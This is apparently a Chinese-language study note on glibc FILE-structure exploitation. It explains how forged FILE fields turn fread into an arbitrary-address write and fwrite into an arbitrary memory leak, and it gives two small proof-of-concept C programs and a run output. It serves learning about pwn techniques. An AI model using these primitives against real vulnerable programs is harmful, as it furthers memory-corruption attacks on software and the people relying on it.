深入学习一下IO的比较简单的部分的源代码,并简单写一下poc
参考链接:https://xz.aliyun.com/t/6567?time__1311=n4%2BxnD0Dg7G%3DBhDBqooGkDRm8DCY1DuAAnOoD
DEMO1-Fread
演示了如何利用fread进行任意地址写,主要就是将缓冲区构造成目标地址,需要注意的是缓冲区当占满的时候可能会被新数据覆盖,因此小心使用。简单总结一下原理:
1.将缓冲区读写和目标位置的读写分开,分成大概两个模块,一个是将缓冲区的数据读到目标位置,一个是利用系统调用将文件中的数据督导缓冲区,这两个模块都会维护读指针和缓冲区的关系。
2.总体方向就如1所说,其中的比较重要的细节可以分为(本人理解):
2.1 缓冲区的分配,需要设置flag来绕过,否则就会覆盖之前构造好的指针
2.2 关于其他的flag,我的建议是越少越好,flag多的话,设计的函数也会变多,虽然说逻辑可以明白,但是非常混乱,包括但不限于,save buf的交替处理,读写缓冲区共用,等等,但是中心思想还是第一点所说的,这是非常重要的。
2.3 当write,read交替操作时,会先刷新write,然后尽可能移动readend和readptr,但这只是read缓冲区大小的扩充,不代表其获得了额外数据,还是得通过系统调用来调整。
#include<stdio.h> #include<stdlib.h> int main(){ setbuf(stdout,0); char msg[20]; char test[20]; test[20]='\x00'; msg[20] = '\x00'; FILE* fd = fopen("flag","rw+"); fd->_fileno = 0; fd->_flags = 0xFBAD0000; fd->_IO_read_base = msg; fd->_IO_read_ptr = fd->_IO_read_end = msg + 20; fd->_IO_buf_base = msg; fd->_IO_buf_end = msg + 20; fread(test,1,19,fd); puts(msg); return 0; }
|
DEMO2-Fwrite
控制FILE结构体达成任意地址内容泄露的目的
符号位绕过两个检查:
1.overflow的分配buf的检查,如果最近没有putting过或bufbase=0则会分配buf。
2.绕过do_new_write的检查,如果非追加模式的话则会判断readend和writebase的大小,会将writebase移动到未知区域。
#include<stdio.h> #include <string.h> #include<stdlib.h> #define FAKEMESSAGE "helloword\x00"
int main(){ char*fakemsg = malloc(strlen(FAKEMESSAGE)+1); memcpy(fakemsg,FAKEMESSAGE,strlen(FAKEMESSAGE)); char*victim = "ooo"; setbuf(stdout,0); FILE* fd = fopen("flag","rw+"); fd->_fileno = 1; fd->_flags = 0xFBAD1800; fd->_IO_read_base = 0; fd->_IO_read_ptr = 0; fd->_IO_read_end = 0; fd->_IO_buf_base = fakemsg; fd->_IO_buf_end = fakemsg + 100; fd->_IO_write_base = fakemsg; fd->_IO_write_end = fd->_IO_write_ptr = fakemsg+strlen(FAKEMESSAGE); fwrite(victim,1,3,fd); }
|
执行结果如下:可以看见输出了目标地址的内容(以ASCII的形式)
root@L:/home/l/poc# ./writepoc hellowordoooroot@L:/home/l/poc#
|